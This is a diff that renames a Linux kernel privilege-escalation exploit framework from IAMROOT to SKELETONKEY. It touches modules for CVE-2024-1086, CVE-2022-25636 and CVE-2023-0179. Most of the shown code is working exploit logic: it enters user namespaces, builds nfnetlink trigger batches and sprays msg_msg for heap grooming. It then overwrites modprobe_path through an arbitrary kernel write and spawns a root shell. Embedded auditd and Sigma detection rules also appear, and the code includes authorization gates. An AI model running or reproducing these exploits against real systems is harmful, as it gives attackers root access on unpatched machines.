/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
iamroot_result_t pre = nf_tables_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nf_tables_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -811,7 +811,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nf_tables: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
@@ -834,27 +834,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
* as the arb-write.
*/
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nf_tables");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nf_tables");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -863,11 +863,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
int qids[SPRAY_MSGS * 4];
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
close(sock); return IAMROOT_EXPLOIT_FAIL;
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
uint32_t seq = (uint32_t)time(NULL);
@@ -880,12 +880,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
drain_spray(qids, SPRAY_MSGS / 2);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Wire up the arb-write context and hand off to the shared
* finisher. The finisher will:
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
* which re-fires the trigger and sprays forged pipapo elems
* - execve() the trigger binary to invoke modprobe
* - poll for the setuid sentinel, and spawn a root shell. */
@@ -898,7 +898,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
.qused = SPRAY_MSGS / 2,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
nft_arb_write, &ac, !ctx->no_shell);
drain_spray(qids, ac.qused);
@@ -913,7 +913,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
* kernel panics on KASAN we don't want our parent process to be
* the one that takes the hit. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -1040,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
"fired (KASAN/oops can manifest as child signal)\n",
WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -1054,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
" cross-cache groom + modprobe_path overwrite\n"
" from github.com/Notselwyn/CVE-2024-1086.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 25) {
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ----- Embedded detection rules ----- */
@@ -1077,15 +1077,15 @@ static const char nf_tables_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
"# This is the canonical exploit shape; legitimate userns + nft use\n"
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
static const char nf_tables_sigma[] =
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
"id: a72b5e91-iamroot-nf-tables\n"
"id: a72b5e91-skeletonkey-nf-tables\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged user creating a\n"
@@ -1107,7 +1107,7 @@ static const char nf_tables_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
const struct iamroot_module nf_tables_module = {
const struct skeletonkey_module nf_tables_module = {
.name = "nf_tables",
.cve = "CVE-2024-1086",
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
@@ -1123,7 +1123,7 @@ const struct iamroot_module nf_tables_module = {
.detect_falco = NULL,
};
void iamroot_register_nf_tables(void)
void skeletonkey_register_nf_tables(void)
{
iamroot_register(&nf_tables_module);
skeletonkey_register(&nf_tables_module);
}
@@ -0,0 +1,12 @@
/*
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
*/
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
#define NF_TABLES_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nf_tables_module;
#endif
+2 -2
View File
@@ -17,12 +17,12 @@ Original writeup:
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
## IAMROOT role
## SKELETONKEY role
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
into kmalloc-512 with `IAMROOT_FWD` tags.
into kmalloc-512 with `SKELETONKEY_FWD` tags.
`--full-chain` extends with stride-seeded forged action_entry
overwrite aimed at modprobe_path via the shared finisher.
@@ -1,12 +0,0 @@
/*
* nft_fwd_dup_cve_2022_25636 — IAMROOT module registry hook
*/
#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H
#define NFT_FWD_DUP_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_fwd_dup_module;
#endif
@@ -1,5 +1,5 @@
/*
* nft_fwd_dup_cve_2022_25636 IAMROOT module
* nft_fwd_dup_cve_2022_25636 SKELETONKEY module
*
* Heap OOB write in net/netfilter/nf_dup_netdev.c ::
* nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
@@ -41,7 +41,7 @@
* - nf_tables module loadable
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -125,12 +125,12 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* The offload code path only exists from 5.4 onward. Anything
@@ -140,7 +140,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
"(nft offload hook introduced in 5.4)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
@@ -148,7 +148,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -172,14 +172,14 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n"
" attacker can still hit the OOB.\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
@@ -334,7 +334,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* Rule construction the heart of the trigger.
*
* Strategy (Aaron Adams shape):
* NEWTABLE netdev "iamroot_fdt"
* NEWTABLE netdev "skeletonkey_fdt"
* NEWCHAIN base chain on ingress, family=netdev,
* flags = NFT_CHAIN_HW_OFFLOAD critical: this is what
* drives nft_flow_rule_create() to call the offload hooks
@@ -355,8 +355,8 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* the adjacent kmalloc-512 chunk. Boom.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_fdt";
static const char NFT_CHAIN_NAME[] = "iamroot_fdc";
static const char NFT_TABLE_NAME[] = "skeletonkey_fdt";
static const char NFT_CHAIN_NAME[] = "skeletonkey_fdc";
static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
@@ -513,7 +513,7 @@ static int spray_msg_msg_groom(int *queues, int n_queues)
memset(&p, 0, sizeof p);
p.mtype = 0x46;
memset(p.mtext, 0xAA, sizeof p.mtext);
memcpy(p.mtext, "IAMROOT_FWD", 11);
memcpy(p.mtext, "SKELETONKEY_FWD", 11);
*(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM;
int created = 0;
@@ -614,7 +614,7 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
* lockdep, KASAN can all shift it). We ship the layout for an
* un-randomized x86_64 build in the exploitable range and rely on
* the shared finisher's sentinel-file post-check to flag layout
* mismatches as IAMROOT_EXPLOIT_FAIL rather than fake success.
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
#ifdef __linux__
@@ -646,7 +646,7 @@ static int spray_forged_action_entries(struct fwd_arb_ctx *c,
memset(&p, 0, sizeof p);
p.mtype = 0x52; /* 'R' */
memset(p.mtext, 0x52, sizeof p.mtext);
memcpy(p.mtext, "IAMROOT_FWD_A", 13);
memcpy(p.mtext, "SKELETONKEY_FWD_A", 13);
*(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB;
/* Plant kaddr at strided 0x10-byte offsets across the first
@@ -727,22 +727,22 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
* Exploit driver.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
{
/* Gate 0: explicit user authorization. */
if (!ctx->authorized) {
fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
/* Gate 1: already root? */
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Gate 2: re-detect — kernel patched / userns denied since scan. */
iamroot_result_t pre = nft_fwd_dup_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nft_fwd_dup_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; "
"refusing\n");
return pre;
@@ -751,7 +751,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
if (!ctx->json) {
if (ctx->full_chain) {
@@ -768,28 +768,28 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
/* --- --full-chain path: resolve offsets before forking ---------- *
* Refuse cleanly if we can't reach modprobe_path. */
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nft_fwd_dup");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nft_fwd_dup");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
(void)bring_lo_up();
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -804,7 +804,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
}
uint8_t *batch = calloc(1, 32 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, &seq);
@@ -817,7 +817,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n");
drain_msg_msg(qids, SPRAY_QUEUES_GROOM);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct fwd_arb_ctx ac = {
@@ -828,7 +828,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
.qused = SPRAY_QUEUES_GROOM,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
&off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell);
drain_msg_msg(qids, ac.qused);
@@ -839,7 +839,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
/* --- primitive-only path: fork-isolated trigger ---------------- */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: namespace + trigger. */
@@ -890,7 +890,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
if (after < 0) after = slab_active("kmalloc-cg-512");
/* Breadcrumb for triage. */
FILE *log = fopen("/tmp/iamroot-nft_fwd_dup.log", "w");
FILE *log = fopen("/tmp/skeletonkey-nft_fwd_dup.log", "w");
if (log) {
fprintf(log,
"nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n",
@@ -919,7 +919,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as signal)\n",
WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -933,19 +933,19 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
" the kaddr-tagged forged-entry spray reaches\n"
" the shared modprobe_path finisher.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 24) {
if (!ctx->json) {
fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed "
"(child rc=%d)\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
@@ -953,7 +953,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
* Cleanup drain leftover sysv queues and unlink the breadcrumb.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
@@ -980,10 +980,10 @@ static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
fclose(f);
}
#endif
if (unlink("/tmp/iamroot-nft_fwd_dup.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
/* harmless */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ------------------------------------------------------------------
@@ -995,16 +995,16 @@ static const char nft_fwd_dup_auditd[] =
"# Flag the canonical exploit shape: unprivileged userns followed\n"
"# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n"
"# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-fwd-dup-userns\n"
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k iamroot-nft-fwd-dup-netlink\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-nft-fwd-dup-batch\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft-fwd-dup-spray\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-fwd-dup-userns\n"
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k skeletonkey-nft-fwd-dup-netlink\n"
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-nft-fwd-dup-batch\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft-fwd-dup-spray\n"
"# Post-exploit hallmarks (modprobe_path overwrite path):\n"
"-w /tmp/iamroot-mp- -p w -k iamroot-nft-fwd-dup-modprobe\n";
"-w /tmp/skeletonkey-mp- -p w -k skeletonkey-nft-fwd-dup-modprobe\n";
static const char nft_fwd_dup_sigma[] =
"title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n"
"id: 3c1f9b27-iamroot-nft-fwd-dup\n"
"id: 3c1f9b27-skeletonkey-nft-fwd-dup\n"
"status: experimental\n"
"description: |\n"
" Detects unprivileged user namespace creation followed by\n"
@@ -1024,7 +1024,7 @@ static const char nft_fwd_dup_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
const struct iamroot_module nft_fwd_dup_module = {
const struct skeletonkey_module nft_fwd_dup_module = {
.name = "nft_fwd_dup",
.cve = "CVE-2022-25636",
.summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)",
@@ -1041,7 +1041,7 @@ const struct iamroot_module nft_fwd_dup_module = {
.detect_falco = NULL,
};
void iamroot_register_nft_fwd_dup(void)
void skeletonkey_register_nft_fwd_dup(void)
{
iamroot_register(&nft_fwd_dup_module);
skeletonkey_register(&nft_fwd_dup_module);
}
@@ -0,0 +1,12 @@
/*
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook
*/
#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H
#define NFT_FWD_DUP_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_fwd_dup_module;
#endif
+1 -1
View File
@@ -20,7 +20,7 @@ Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
5.15.88 / 6.1.6.
## IAMROOT role
## SKELETONKEY role
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
@@ -1,12 +0,0 @@
/*
* nft_payload_cve_2023_0179 — IAMROOT module registry hook
*/
#ifndef NFT_PAYLOAD_IAMROOT_MODULES_H
#define NFT_PAYLOAD_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_payload_module;
#endif
@@ -1,5 +1,5 @@
/*
* nft_payload_cve_2023_0179 IAMROOT module
* nft_payload_cve_2023_0179 SKELETONKEY module
*
* Netfilter nf_tables variable-length element-extension OOB R/W.
* Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get
@@ -25,12 +25,12 @@
* payload-set whose attacker-controlled verdict.code drives the
* OOB), spray msg_msg payloads adjacent to the regs->data target,
* fires a synthetic packet through the chain, snapshots
* /proc/slabinfo, logs to /tmp/iamroot-nft_payload.log, returns
* IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
* /proc/slabinfo, logs to /tmp/skeletonkey-nft_payload.log, returns
* SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* a Davide-Ornaghi-style payload-set arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we refire the set-element registration with
* a verdict code chosen so the OOB index lands on a msg_msg slot
* we tagged with the caller's kaddr + payload bytes. The exact
@@ -47,7 +47,7 @@
* unprivileged user even on a kernel-vulnerable host.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -129,12 +129,12 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced with the set-payload extension in 5.4. Anything
@@ -145,7 +145,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
"(set-payload extension landed in 5.4)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
@@ -153,7 +153,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -177,14 +177,14 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_payload: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND "
"user_ns clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
#ifdef __linux__
@@ -225,7 +225,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------
* Minimal nfnetlink batch builder same shape as nf_tables_cve_2024_1086
* to keep the IAMROOT family code self-consistent; we inline rather
* to keep the SKELETONKEY family code self-consistent; we inline rather
* than link against the other module so a future refactor can pull the
* helpers up into core/ without breaking either consumer.
* ------------------------------------------------------------------ */
@@ -341,9 +341,9 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* Per-module strings.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_pl_t";
static const char NFT_CHAIN_NAME[] = "iamroot_pl_c";
static const char NFT_SET_NAME[] = "iamroot_pl_s";
static const char NFT_TABLE_NAME[] = "skeletonkey_pl_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_pl_c";
static const char NFT_SET_NAME[] = "skeletonkey_pl_s";
/* NFT expression "name" attributes are NUL-terminated short strings. */
#define NFT_EXPR_PAYLOAD_NAME "payload"
@@ -373,7 +373,7 @@ static const char NFT_SET_NAME[] = "iamroot_pl_s";
* exploitable range. The exact "right" magic is per-build; we ship a
* default that matched Davide's PoC on a stock 5.15 build and rely on
* the finisher's sentinel-file post-check to flag a layout mismatch as
* IAMROOT_EXPLOIT_FAIL rather than fake success. */
* SKELETONKEY_EXPLOIT_FAIL rather than fake success. */
#define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100
/* ------------------------------------------------------------------
@@ -685,7 +685,7 @@ static void trigger_packet(void)
dst.sin_port = htons(31337);
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
const char m[] = "iamroot-nft_payload-trigger";
const char m[] = "skeletonkey-nft_payload-trigger";
for (int i = 0; i < 8; i++) {
(void)!sendto(s, m, sizeof m, MSG_DONTWAIT,
(struct sockaddr *)&dst, sizeof dst);
@@ -732,7 +732,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq,
* KASAN, lockdep, kernel build options all shift it). The shipped
* default oob_index matches Davide's PoC on a stock 5.15 build; the
* shared finisher's sentinel-file post-check flags layout mismatch as
* IAMROOT_EXPLOIT_FAIL rather than fake success.
* SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
struct nft_payload_arb_ctx {
@@ -807,21 +807,21 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
* Exploit body.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; "
"exploit code can crash the kernel\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nft_payload: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
iamroot_result_t pre = nft_payload_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nft_payload_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -841,35 +841,35 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__
(void)ctx;
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
